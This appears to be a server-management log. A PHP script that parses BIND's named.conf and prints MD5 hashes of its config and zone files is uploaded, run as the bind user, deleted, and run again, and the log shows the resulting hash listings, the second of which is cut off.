PUT: /tmp/pkp719242

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:33:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp719242; rm /tmp/pkp719242'

2025-11-18 16:33:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:34:15: Establishing a connection
2025-11-18 16:34:15: Establishing a connection
2025-11-18 16:34:16: 

PUT: /tmp/pkp706690

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:34:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp706690; rm /tmp/pkp706690'

2025-11-18 16:34:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
